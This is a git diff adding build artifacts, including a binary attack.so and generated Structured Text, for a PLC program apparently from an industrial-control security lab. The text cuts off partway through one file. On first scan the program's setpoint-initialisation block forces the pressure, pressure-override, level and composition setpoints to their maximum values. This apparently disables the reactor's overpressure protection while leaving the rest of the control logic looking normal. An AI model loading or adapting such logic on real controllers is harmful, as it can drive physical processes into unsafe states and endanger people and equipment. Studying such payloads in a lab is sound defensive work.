+408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 